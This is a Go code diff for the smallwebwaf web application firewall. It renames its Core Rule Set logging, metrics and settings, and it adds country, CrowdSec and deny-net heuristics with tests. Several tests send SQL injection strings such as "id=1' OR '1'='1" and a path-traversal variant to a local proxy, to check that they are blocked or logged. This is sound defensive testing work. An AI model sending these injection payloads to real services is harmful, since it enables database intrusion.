func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
t.Helper() t.Helper()
if !slices.Equal(line.WAFRuleIDs, ruleIDs) { if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) {
t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs) t.Errorf("log line has core_rule_set_rule_ids %v, want %v",
line.CoreRuleSetRuleIDs, ruleIDs)
} }
switch { switch {
case score == nil && (line.WAFScore != nil || line.DurationWAF != nil): case score == nil &&
t.Errorf("log line has waf_score %v and duration_waf %v, want neither", (line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil):
line.fields["waf_score"], line.fields["duration_waf"]) t.Errorf("log line has core_rule_set_score %v and "+
case score != nil && (line.WAFScore == nil || *line.WAFScore != *score): "duration_core_rule_set_ms %v, want neither",
t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score) line.fields["core_rule_set_score"], line.fields["duration_core_rule_set_ms"])
case score != nil && line.DurationWAF == nil: case score != nil &&
t.Error("log line has no duration_waf") (line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score):
t.Errorf("log line has core_rule_set_score %v, want %d",
line.fields["core_rule_set_score"], *score)
case score != nil && line.DurationCoreRuleSetMS == nil:
t.Error("log line has no duration_core_rule_set_ms")
} }
} }
func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
mode string
status int
action string
}{
{block, block, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet},
{detect, detect, http.StatusOK, requestlog.ActionForward},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
wantTags(t, s.request(client, sqlInjection, tc.status, tc.action),
"exploitsignature")
wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
})
}
}
func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: detect, tagDeny: "exploitsignature",
})
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionClientDenied)
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
}
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) { func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
t.Parallel() t.Parallel()
@@ -97,19 +139,29 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *test
mode, action string mode, action string
status int status int
}{ }{
{block, requestlog.ActionWAFBlocked, http.StatusForbidden}, {block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden},
{detect, requestlog.ActionForward, http.StatusOK}, {detect, requestlog.ActionForward, http.StatusOK},
} { } {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode}) s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
line := s.requestWithHeader(client, attack.path, attack.header, line := s.requestWithHeader(client, attack.path, attack.header,
tc.status, tc.action) tc.status, tc.action)
wantWAF(t, line, &attack.score, attack.ruleIDs...) wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...)
} }
}) })
} }
} }
func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
wantHeuristic(t, line, "core_rule_set", `{"score": 5, "threshold": 5}`)
}
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) { func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
t.Parallel() t.Parallel()
@@ -117,7 +169,7 @@ func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source", line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK, requestlog.ActionForward) http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
} }
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal( func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
@@ -125,7 +177,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
) { ) {
t.Parallel() t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafMode: block,
@@ -134,29 +186,29 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
rulesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
}) })
// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS // A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
// exempts, are not inspected. // exempts, are not inspected.
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward) line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil) wantCoreRuleSet(t, line, nil)
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK, line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
requestlog.ActionForward) requestlog.ActionForward)
wantWAF(t, line, nil) wantCoreRuleSet(t, line, nil)
// The prefix is matched as rate limit exempt paths are: a path that // The prefix is matched as rate limit exempt paths are: a path that
// goes up and out of it is inspected. // goes up and out of it is inspected.
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden, line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionWAFBlocked) requestlog.ActionBlockedByCoreRuleSet)
wantWAF(t, line, new(25), 930100, 930110, 942100) wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100)
// A request a rule file refuses is not inspected. // A request a rule file refuses is not inspected.
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden, line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionRuleBlocked) requestlog.ActionBlockedByBlockRule)
wantWAF(t, line, nil) wantCoreRuleSet(t, line, nil)
// With SWWAF_WAF_MODE off, no request is. // With SWW_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off}) s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil) wantCoreRuleSet(t, line, nil)
} }
func TestAnomalyThreshold(t *testing.T) { func TestAnomalyThreshold(t *testing.T) {
@@ -170,13 +222,14 @@ func TestAnomalyThreshold(t *testing.T) {
}) })
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(5), 942100) wantCoreRuleSet(t, line, new(5), 942100)
} }
s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: "5", wafMode: block, wafAnomalyThreshold: "5",
}) })
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked) s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
} }
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) { func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
@@ -219,7 +272,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(request.method, client, request.path, line, _ := s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusOK, requestlog.ActionForward) request.header, body, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
// A list given replaces the default. // A list given replaces the default.
s, _, _ = startWithClock(t, "", map[string]string{ s, _, _ = startWithClock(t, "", map[string]string{
@@ -227,12 +280,12 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
}) })
score := 5 * len(request.ruleIDs) score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody(request.method, client, request.path, line, _ = s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked) request.header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
wantWAF(t, line, &score, request.ruleIDs...) wantCoreRuleSet(t, line, &score, request.ruleIDs...)
// And switches off the rules it lists. // And switches off the rules it lists.
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
}) })
} }
} }
@@ -248,14 +301,14 @@ func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body, line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusOK, requestlog.ActionForward) http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
s, _, _ = startWithClock(t, "", map[string]string{ s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting, wafMode: block, wafBodyLimit: sizeLimitSetting,
}) })
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body, line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusForbidden, requestlog.ActionWAFBlocked) http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
wantWAF(t, line, new(5), 942100) wantCoreRuleSet(t, line, new(5), 942100)
} }
func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) { func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
@@ -345,32 +398,33 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T)
}) })
for range 2 { for range 2 {
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked) s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
} }
// The third refusal in a minute breaks the error burst, and bans the // The third refusal in a minute breaks the error burst, and bans the
// client. // client.
line := s.request(client, sqlInjection, http.StatusForbidden, line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked) requestlog.ActionBlockedByCoreRuleSet)
if line.LimitHit != requestlog.LimitHitErrorBurst || if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
line.Offence != requestlog.OffenceLimit { line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit", t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals and limit",
line.LimitHit, line.Offence) line.LimitHit, line.Offence)
} }
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
want := ratelimit.Offences{Limit: 1, WAFBlocked: 3} want := ratelimit.Offences{Limit: 1, BlockedByCoreRuleSet: 3}
if offences := historyOf(t, server, client).Offences; offences != want { if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want) t.Errorf("history counts the offences %+v, want %+v", offences, want)
} }
metrics := s.scrape() metrics := s.scrape()
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3) `sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3) `sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, 3)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+ wantMetric(t, metrics, `sww_requests_total{action="blocked_by_core_rule_set",`+
`instance="app",status_class="4xx"}`, 3) `instance="app",status_class="4xx"}`, 3)
} }
@@ -394,9 +448,9 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T
metrics := s.scrape() metrics := s.scrape()
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3) `sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
wantNoSeries(t, metrics, wantNoSeries(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`) `sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`)
} }
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) { func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
@@ -405,17 +459,17 @@ func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe}) s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionWAFBlocked) wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet)
wantWAF(t, line, new(5), 942100) wantCoreRuleSet(t, line, new(5), 942100)
// It is an offence as in enforce mode. // It is an offence as in enforce mode.
want := ratelimit.Offences{WAFBlocked: 1} want := ratelimit.Offences{BlockedByCoreRuleSet: 1}
if offences := historyOf(t, server, client).Offences; offences != want { if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want) t.Errorf("history counts the offences %+v, want %+v", offences, want)
} }
} }
func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) { func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -429,7 +483,7 @@ func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
}{ }{
{ {
"block", map[string]string{wafMode: block}, "block", map[string]string{wafMode: block},
http.StatusForbidden, requestlog.ActionWAFBlocked, "", http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "",
}, },
{ {
"detect", map[string]string{wafMode: detect}, "detect", map[string]string{wafMode: detect},
@@ -464,11 +518,11 @@ func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
wantAlerts(t, queue, alerts.Alert{ wantAlerts(t, queue, alerts.Alert{
Instance: alertInstance, Instance: alertInstance,
Time: clk.Now(), Time: clk.Now(),
Event: alerts.EventWAFBlock, Event: alerts.EventCoreRuleSetMatch,
Host: appHost, Host: appHost,
Client: netip.MustParseAddr(client), Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"), Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD", Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
Detail: detail, Detail: detail,
}) })
+35
View File
@@ -0,0 +1,35 @@
package discriminator
// The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
import (
"context"
"slices"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// countries refuses a request when SWW_EXCLUSIVELY_ALLOWED_COUNTRIES is set and
// does not hold the client's country as it was looked up. A client without a
// country, or whose country cannot be found, is refused. Its figures are the
// country and the setting that refused it.
type countries struct{}
func (countries) name() string { return "countries" }
func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
allowed := rq.h.config.ExclusivelyAllowedCountries
country := rq.line.Country
if len(allowed) == 0 || slices.Contains(allowed, country) {
return nil
}
return &verdict{
action: requestlog.ActionCountryDenied,
figures: map[string]any{
"country": country, "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES",
},
}
}
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"encoding/json" "encoding/json"
@@ -33,13 +33,13 @@ func TestCountryLists(t *testing.T) {
env map[string]string env map[string]string
refused []string refused []string
}{ }{
{"denied", map[string]string{deniedCountries: "kp"}, []string{fromKP}},
{ {
"exclusively allowed", map[string]string{allowedCountries: "DE"}, "exclusively allowed", map[string]string{allowedCountries: "DE"},
[]string{fromKP, unplaced}, []string{fromKP, unplaced},
}, },
{ {
"both", map[string]string{deniedCountries: "kp", allowedCountries: "de,fr"}, "with a country in SWW_TAG_DENY",
map[string]string{tagDeny: denyKP, allowedCountries: "de,fr"},
[]string{fromKP, unplaced}, []string{fromKP, unplaced},
}, },
} { } {
@@ -90,6 +90,23 @@ func TestCountryLists(t *testing.T) {
} }
} }
func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h", allowedCountries: "de",
})
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)
wantHeuristic(t, line, "countries",
`{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
line = s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied)
wantHeuristic(t, line, "countries",
`{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
}
func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) { func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
t.Parallel() t.Parallel()
@@ -102,7 +119,7 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
lookupTimeout: "1h", lookupTimeout: "1h",
deniedCountries: "kp", allowedCountries: "de",
}) })
req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")) req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
@@ -185,7 +202,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
env map[string]string env map[string]string
}{ }{
{"no setting needs the lookup", nil}, {"no setting needs the lookup", nil},
{"a country list is set", map[string]string{deniedCountries: "kp"}}, {"a tag setting needs it", map[string]string{tagDeny: denyKP}},
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -245,11 +262,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
action string action string
}{ }{
{ {
"not in SWWAF_ALLOW_NETS", "", "not in SWW_ALLOW_NETS", "",
http.StatusForbidden, requestlog.ActionCountryDenied, http.StatusForbidden, requestlog.ActionCountryDenied,
}, },
{ {
"in SWWAF_ALLOW_NETS", "10.0.0.7,fd00::/8", "in SWW_ALLOW_NETS", "10.0.0.7,fd00::/8",
http.StatusOK, requestlog.ActionForward, http.StatusOK, requestlog.ActionForward,
}, },
} { } {
@@ -279,7 +296,7 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP, // startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
// each in an AS of its own, and no other address. It returns its URL, and // each in an AS of its own, and no other address. It returns its URL, and
// what returns the addresses it has been asked about. A test that needs // what returns the addresses it has been asked about. A test that needs
// the stand-in to be asked or to answer sets SWWAF_LOOKUP_TIMEOUT to an // the stand-in to be asked or to answer sets SWW_LOOKUP_TIMEOUT to an
// hour, whether or not a request waits for the answer: on the default, a // hour, whether or not a request waits for the answer: on the default, a
// hold-up of the test process can abandon the request to the stand-in, and // hold-up of the test process can abandon the request to the stand-in, and
// leave the client unknown. // leave the client unknown.
@@ -350,7 +367,7 @@ const (
) )
// geojsAnswer is an answer of GeoJS about one address, with the fields // geojsAnswer is an answer of GeoJS about one address, with the fields
// smallwebwaf reads. // sww reads.
// //
//nolint:tagliatelle // GeoJS's own names //nolint:tagliatelle // GeoJS's own names
type geojsAnswer struct { type geojsAnswer struct {
+50
View File
@@ -0,0 +1,50 @@
package discriminator
// The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions
// through the reputation lists.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// crowdSec refuses a request when a decision of the CrowdSec decision list on
// the client is in force at now. It then adds the tag crowdsec, notes the
// list, as noteHit does, and bans the client until that decision ends. Its
// figures are the decision's scenario and when it ends.
type crowdSec struct{}
func (crowdSec) name() string { return "crowdsec" }
func (crowdSec) check(_ context.Context, rq *request, now time.Time) *verdict {
decision, listed := rq.crowdSecDecisionInForce(now)
if !listed {
return nil
}
rq.addTag(config.CrowdSecTag)
rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
"listed by the CrowdSec decision list")
return &verdict{
action: rq.banForCrowdSec(now, decision),
figures: map[string]any{
"scenario": decision.Scenario,
"expires": requestlog.FormatTime(decision.Expires),
},
}
}
// crowdSecDecisionInForce returns the decision of the CrowdSec decision list on
// the client that is in force at now, and reports whether there is one, which
// the heuristic crowdsec refuses the request for.
func (rq *request) crowdSecDecisionInForce(
now time.Time,
) (reputation.Decision, bool) {
return rq.h.lists.CrowdSecDecision(rq.client, now)
}
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -9,17 +9,17 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
// The CrowdSec settings, and the tests' engine, which is never asked: each // The CrowdSec settings, and the tests' engine, which is never asked: each
// test puts in the copy of its decision list, at decisionsURL, that it // test puts in the copy of its decision list, at decisionsURL, that it
// needs, as reputation.json would at start. // needs, as reputation.json would at start.
const ( const (
crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL" crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY" crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
lapi = "http://crowdsec.example:8080" lapi = "http://crowdsec.example:8080"
decisionsURL = lapi + "/v1/decisions" decisionsURL = lapi + "/v1/decisions"
bouncerKey = "crowdsec-key-0123456789abcdef" bouncerKey = "crowdsec-key-0123456789abcdef"
@@ -39,7 +39,7 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testi
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour)) expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
// Its first request is refused, and bans it until the decision ends. // Its first request is refused, and bans it until the decision ends.
line := s.get(client, http.StatusForbidden, requestlog.ActionBanned) line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantReputation(t, line, decisionsURL) wantReputation(t, line, decisionsURL)
if line.BanExpires != expires { if line.BanExpires != expires {
@@ -72,7 +72,7 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testi
// ban, and once it has ended the client is let through. // ban, and once it has ended the client is let through.
clk.advance(4*time.Hour - time.Second) clk.advance(4*time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, requestlog.ActionBanned) line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantReputation(t, line) wantReputation(t, line)
if line.BanExpires != expires { if line.BanExpires != expires {
@@ -87,14 +87,30 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testi
metrics := s.scrape() metrics := s.scrape()
labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}` labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="crowdsec",`+ wantMetric(t, metrics, `sww_bans_made_total{cause="crowdsec",`+
`instance="`+alertInstance+`"}`, 1) `instance="`+alertInstance+`"}`, 1)
wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 1) wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric(t, metrics, "smallwebwaf_reputation_last_fetch_timestamp_seconds"+labels, wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
float64(fetched.Unix())) float64(fetched.Unix()))
} }
func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
t.Parallel()
s, clk, server, _ := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey,
})
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantHeuristic(t, line, "crowdsec", `{"scenario": "crowdsecurity/ssh-bf", `+
`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`)
wantTags(t, line, "crowdsec")
}
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) { func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
t.Parallel() t.Parallel()
@@ -113,9 +129,9 @@ func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T
// Just before its end, the decision bans a client in the netblock, and // Just before its end, the decision bans a client in the netblock, and
// one on an IPv6 address bans the address's group, the /64. // one on an IPv6 address bans the address's group, the /64.
clk.advance(time.Minute - time.Nanosecond) clk.advance(time.Minute - time.Nanosecond)
s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionBanned) s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionBanned) s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionBanned) s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
// Once it has ended, it bans no other client, and the bans it made end // Once it has ended, it bans no other client, and the bans it made end
// with it. // with it.
@@ -148,7 +164,7 @@ func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
`"value": "`+client+`"}]`) `"value": "`+client+`"}]`)
line := s.get(client, http.StatusOK, requestlog.ActionForward) line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned) wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
wantReputation(t, line, decisionsURL) wantReputation(t, line, decisionsURL)
if held := server.Ledger.Snapshot(); len(held) != 0 { if held := server.Ledger.Snapshot(); len(held) != 0 {
@@ -168,7 +184,7 @@ func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
// decisionsURL, answer, the engine's answer, fetched at fetched, as // decisionsURL, answer, the engine's answer, fetched at fetched, as
// reputation.json would at start. // reputation.json would at start.
func loadDecisions( func loadDecisions(
t *testing.T, server *servewaf.Server, fetched time.Time, answer string, t *testing.T, server *discriminator.Server, fetched time.Time, answer string,
) { ) {
t.Helper() t.Helper()
+29
View File
@@ -0,0 +1,29 @@
package discriminator
// The heuristic deny_nets. It reads SWW_DENY_NETS.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// denyNets refuses a client in SWW_DENY_NETS. Its figure is the netblock of
// the setting the client is in.
type denyNets struct{}
func (denyNets) name() string { return "deny_nets" }
func (denyNets) check(_ context.Context, rq *request, _ time.Time) *verdict {
for _, netblock := range rq.h.config.DenyNets {
if netblock.Contains(rq.client) {
return &verdict{
action: requestlog.ActionClientDenied,
figures: map[string]any{figureNetblock: netblock.String()},
}
}
}
return nil
}
@@ -1,7 +1,8 @@
package servewaf package discriminator
import ( import (
"bytes" "bytes"
"context"
"encoding/json" "encoding/json"
"errors" "errors"
"fmt" "fmt"
@@ -17,18 +18,18 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// The headers of rproxy's question and of servewaf's answer, as // The headers of rproxy's question and of discriminator's answer, as
// "servewaf" in SPEC.md gives them. // "discriminator" in SPEC.md gives them.
